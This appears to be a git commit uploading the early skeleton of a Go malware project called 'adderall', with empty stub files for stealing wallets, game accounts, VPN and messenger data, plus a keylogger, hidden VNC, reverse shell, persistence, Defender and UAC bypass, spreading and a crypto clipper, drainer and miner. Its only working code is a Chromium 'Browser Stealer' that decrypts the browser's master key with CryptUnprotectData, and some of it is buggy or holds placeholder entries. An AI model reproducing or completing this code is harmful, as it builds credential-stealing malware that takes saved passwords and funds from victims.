Upload of project source code files.
This commit is contained in:
8
.idea/.gitignore
generated
vendored
Normal file
8
.idea/.gitignore
generated
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# Editor-based HTTP Client requests
|
||||
/httpRequests/
|
||||
# Datasource local storage ignored files
|
||||
/dataSources/
|
||||
/dataSources.local.xml
|
||||
9
.idea/adderall.iml
generated
Normal file
9
.idea/adderall.iml
generated
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="WEB_MODULE" version="4">
|
||||
<component name="Go" enabled="true" />
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
||||
7
.idea/discord.xml
generated
Normal file
7
.idea/discord.xml
generated
Normal file
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="DiscordProjectSettings">
|
||||
<option name="show" value="PROJECT_FILES" />
|
||||
<option name="description" value="" />
|
||||
</component>
|
||||
</project>
|
||||
8
.idea/modules.xml
generated
Normal file
8
.idea/modules.xml
generated
Normal file
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/adderall.iml" filepath="$PROJECT_DIR$/.idea/adderall.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
||||
1
listener.go
Normal file
1
listener.go
Normal file
@@ -0,0 +1 @@
|
||||
package main
|
||||
11
main.go
Normal file
11
main.go
Normal file
@@ -0,0 +1,11 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"adderall/modules/exfil/browser"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("Hello, World!")
|
||||
browser.Main()
|
||||
}
|
||||
5
modules/exfil/browser/browser.go
Normal file
5
modules/exfil/browser/browser.go
Normal file
@@ -0,0 +1,5 @@
|
||||
package browser
|
||||
|
||||
func Main() {
|
||||
chromium()
|
||||
}
|
||||
47
modules/exfil/browser/chromium.go
Normal file
47
modules/exfil/browser/chromium.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"adderall/utils"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func chromium() {
|
||||
fmt.Println("[*] Executing Browser Stealer: Chromium.")
|
||||
|
||||
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"}
|
||||
paths := map[string]string{
|
||||
"Microsoft Edge": "Microsoft\\Edge",
|
||||
"name": "John",
|
||||
"age": "30",
|
||||
}
|
||||
|
||||
for name, path := range paths {
|
||||
path = filepath.Join(utils.LocalAppData, path, "User Data")
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] Main browser dir %s exists.\n", path)
|
||||
|
||||
localState := filepath.Join(path, "Local State")
|
||||
|
||||
if utils.FileOrDirExists(localState) {
|
||||
fmt.Printf("[*] LocalState file %s exists. Retrieving key...\n", localState)
|
||||
|
||||
result := make(chan []byte)
|
||||
|
||||
go getMasterKey(localState, result)
|
||||
|
||||
fmt.Printf("[*] Received key from LocalState file %s: %d.\n", localState, <-result)
|
||||
|
||||
for _, profile := range profiles {
|
||||
path = filepath.Join(path, profile)
|
||||
|
||||
if utils.FileOrDirExists(path) {
|
||||
fmt.Printf("[*] \"%s\" exists. Retrieving Retrieving login data...\n", path)
|
||||
fmt.Println(name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
79
modules/exfil/browser/cryptography.go
Normal file
79
modules/exfil/browser/cryptography.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package browser
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"unicode/utf8"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
crypt32 = syscall.NewLazyDLL("crypt32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
|
||||
procLocalFree = kernel32.NewProc("LocalFree")
|
||||
)
|
||||
|
||||
type DataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
func getMasterKey(path string, result chan<- []byte) {
|
||||
var encryptedBase64Key struct {
|
||||
OSCrypt struct {
|
||||
EncryptedKey string `json:"encrypted_key"`
|
||||
} `json:"os_crypt"`
|
||||
}
|
||||
|
||||
file, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err)
|
||||
}
|
||||
|
||||
if err := json.Unmarshal(file, &encryptedBase64Key); err != nil {
|
||||
fmt.Printf("[!] Error parsing JSON: %s\n", err)
|
||||
}
|
||||
|
||||
encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] Error decoding base64: %s\n", err)
|
||||
}
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
_, size := utf8.DecodeRune(encryptedKey)
|
||||
encryptedKey = encryptedKey[size:]
|
||||
}
|
||||
|
||||
encryptedBlob := DataBlob{
|
||||
cbData: uint32(len(encryptedKey)),
|
||||
pbData: &encryptedKey[0],
|
||||
}
|
||||
|
||||
var outBlob DataBlob
|
||||
|
||||
ret, _, err := procCryptUnprotectData.Call(
|
||||
uintptr(unsafe.Pointer(&encryptedBlob)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
fmt.Println("[!] CryptUnprotectData failed:", err)
|
||||
return
|
||||
}
|
||||
|
||||
decryptedKey := make([]byte, outBlob.cbData)
|
||||
copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData])
|
||||
|
||||
procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
|
||||
result <- decryptedKey
|
||||
}
|
||||
1
modules/exfil/browser/gecko.go
Normal file
1
modules/exfil/browser/gecko.go
Normal file
@@ -0,0 +1 @@
|
||||
package browser
|
||||
1
modules/exfil/file/common.go
Normal file
1
modules/exfil/file/common.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/file/file.go
Normal file
1
modules/exfil/file/file.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/file/important.go
Normal file
1
modules/exfil/file/important.go
Normal file
@@ -0,0 +1 @@
|
||||
package file
|
||||
1
modules/exfil/game/accounts.go
Normal file
1
modules/exfil/game/accounts.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/game/game.go
Normal file
1
modules/exfil/game/game.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/game/saves.go
Normal file
1
modules/exfil/game/saves.go
Normal file
@@ -0,0 +1 @@
|
||||
package game
|
||||
1
modules/exfil/mail/mail.go
Normal file
1
modules/exfil/mail/mail.go
Normal file
@@ -0,0 +1 @@
|
||||
package mail
|
||||
1
modules/exfil/messenger/messenger.go
Normal file
1
modules/exfil/messenger/messenger.go
Normal file
@@ -0,0 +1 @@
|
||||
package messenger
|
||||
1
modules/exfil/network/adapters.go
Normal file
1
modules/exfil/network/adapters.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/monitor.go
Normal file
1
modules/exfil/network/monitor.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/network.go
Normal file
1
modules/exfil/network/network.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/rdp.go
Normal file
1
modules/exfil/network/rdp.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/network/ssh.go
Normal file
1
modules/exfil/network/ssh.go
Normal file
@@ -0,0 +1 @@
|
||||
package network
|
||||
1
modules/exfil/system/system.go
Normal file
1
modules/exfil/system/system.go
Normal file
@@ -0,0 +1 @@
|
||||
package system
|
||||
1
modules/exfil/vpn/vpn.go
Normal file
1
modules/exfil/vpn/vpn.go
Normal file
@@ -0,0 +1 @@
|
||||
package vpn
|
||||
1
modules/exfil/wallet/seedphrase.go
Normal file
1
modules/exfil/wallet/seedphrase.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
modules/exfil/wallet/wallet.go
Normal file
1
modules/exfil/wallet/wallet.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
modules/hvnc/hvnc.go
Normal file
1
modules/hvnc/hvnc.go
Normal file
@@ -0,0 +1 @@
|
||||
package hvnc
|
||||
1
modules/hvnc/screen.go
Normal file
1
modules/hvnc/screen.go
Normal file
@@ -0,0 +1 @@
|
||||
package hvnc
|
||||
1
modules/hvnc/transmit.go
Normal file
1
modules/hvnc/transmit.go
Normal file
@@ -0,0 +1 @@
|
||||
package hvnc
|
||||
1
modules/injections/browser.go
Normal file
1
modules/injections/browser.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/game.go
Normal file
1
modules/injections/game.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/injections.go
Normal file
1
modules/injections/injections.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/mail.go
Normal file
1
modules/injections/mail.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/messenger.go
Normal file
1
modules/injections/messenger.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/vpn.go
Normal file
1
modules/injections/vpn.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/injections/wallet.go
Normal file
1
modules/injections/wallet.go
Normal file
@@ -0,0 +1 @@
|
||||
package injections
|
||||
1
modules/keylogger/keylogger.go
Normal file
1
modules/keylogger/keylogger.go
Normal file
@@ -0,0 +1 @@
|
||||
package keylogger
|
||||
1
modules/keylogger/keymaps.go
Normal file
1
modules/keylogger/keymaps.go
Normal file
@@ -0,0 +1 @@
|
||||
package keylogger
|
||||
1
modules/loader/file.go
Normal file
1
modules/loader/file.go
Normal file
@@ -0,0 +1 @@
|
||||
package loader
|
||||
1
modules/loader/shellcode.go
Normal file
1
modules/loader/shellcode.go
Normal file
@@ -0,0 +1 @@
|
||||
package loader
|
||||
1
modules/loader/steganography.go
Normal file
1
modules/loader/steganography.go
Normal file
@@ -0,0 +1 @@
|
||||
package loader
|
||||
1
modules/modules.go
Normal file
1
modules/modules.go
Normal file
@@ -0,0 +1 @@
|
||||
package modules
|
||||
1
modules/persistence/file.go
Normal file
1
modules/persistence/file.go
Normal file
@@ -0,0 +1 @@
|
||||
package persistence
|
||||
1
modules/persistence/persistence.go
Normal file
1
modules/persistence/persistence.go
Normal file
@@ -0,0 +1 @@
|
||||
package persistence
|
||||
1
modules/persistence/regkey.go
Normal file
1
modules/persistence/regkey.go
Normal file
@@ -0,0 +1 @@
|
||||
package persistence
|
||||
1
modules/persistence/taskschd.go
Normal file
1
modules/persistence/taskschd.go
Normal file
@@ -0,0 +1 @@
|
||||
package persistence
|
||||
1
modules/porn_detection/porn_detection.go
Normal file
1
modules/porn_detection/porn_detection.go
Normal file
@@ -0,0 +1 @@
|
||||
package porn_detection
|
||||
1
modules/privilege_escalation/amsi_bypass.go
Normal file
1
modules/privilege_escalation/amsi_bypass.go
Normal file
@@ -0,0 +1 @@
|
||||
package privilege_escalation
|
||||
1
modules/privilege_escalation/disable_etw.go
Normal file
1
modules/privilege_escalation/disable_etw.go
Normal file
@@ -0,0 +1 @@
|
||||
package privilege_escalation
|
||||
1
modules/privilege_escalation/kill_wd.go
Normal file
1
modules/privilege_escalation/kill_wd.go
Normal file
@@ -0,0 +1 @@
|
||||
package privilege_escalation
|
||||
1
modules/privilege_escalation/uac_bypass.go
Normal file
1
modules/privilege_escalation/uac_bypass.go
Normal file
@@ -0,0 +1 @@
|
||||
package privilege_escalation
|
||||
1
modules/protection/anti_analysis.go
Normal file
1
modules/protection/anti_analysis.go
Normal file
@@ -0,0 +1 @@
|
||||
package protection
|
||||
1
modules/protection/anti_debug.go
Normal file
1
modules/protection/anti_debug.go
Normal file
@@ -0,0 +1 @@
|
||||
package protection
|
||||
1
modules/protection/anti_vm.go
Normal file
1
modules/protection/anti_vm.go
Normal file
@@ -0,0 +1 @@
|
||||
package protection
|
||||
1
modules/reverse_shell/reverse_shell.go
Normal file
1
modules/reverse_shell/reverse_shell.go
Normal file
@@ -0,0 +1 @@
|
||||
package reverse_shell
|
||||
1
modules/spread/local_network.go
Normal file
1
modules/spread/local_network.go
Normal file
@@ -0,0 +1 @@
|
||||
package spread
|
||||
1
modules/spread/mail.go
Normal file
1
modules/spread/mail.go
Normal file
@@ -0,0 +1 @@
|
||||
package spread
|
||||
1
modules/spread/messenger.go
Normal file
1
modules/spread/messenger.go
Normal file
@@ -0,0 +1 @@
|
||||
package spread
|
||||
1
modules/spread/spread.go
Normal file
1
modules/spread/spread.go
Normal file
@@ -0,0 +1 @@
|
||||
package spread
|
||||
1
modules/wallet/clipper.go
Normal file
1
modules/wallet/clipper.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
modules/wallet/currencies/btc.go
Normal file
1
modules/wallet/currencies/btc.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/currencies/eth.go
Normal file
1
modules/wallet/currencies/eth.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/currencies/ltc.go
Normal file
1
modules/wallet/currencies/ltc.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/currencies/sol.go
Normal file
1
modules/wallet/currencies/sol.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/currencies/usdt.go
Normal file
1
modules/wallet/currencies/usdt.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/currencies/xmr.go
Normal file
1
modules/wallet/currencies/xmr.go
Normal file
@@ -0,0 +1 @@
|
||||
package currencies
|
||||
1
modules/wallet/drainer.go
Normal file
1
modules/wallet/drainer.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
modules/wallet/miner.go
Normal file
1
modules/wallet/miner.go
Normal file
@@ -0,0 +1 @@
|
||||
package wallet
|
||||
1
utils/requests.go
Normal file
1
utils/requests.go
Normal file
@@ -0,0 +1 @@
|
||||
package utils
|
||||
1
utils/sockets.go
Normal file
1
utils/sockets.go
Normal file
@@ -0,0 +1 @@
|
||||
package utils
|
||||
1
utils/store.go
Normal file
1
utils/store.go
Normal file
@@ -0,0 +1 @@
|
||||
package utils
|
||||
14
utils/utils.go
Normal file
14
utils/utils.go
Normal file
@@ -0,0 +1,14 @@
|
||||
package utils
|
||||
|
||||
import "os"
|
||||
|
||||
var AppData string = os.Getenv("APPDATA")
|
||||
var LocalAppData string = os.Getenv("LOCALAPPDATA")
|
||||
|
||||
func FileOrDirExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
Reference in New Issue
Block a user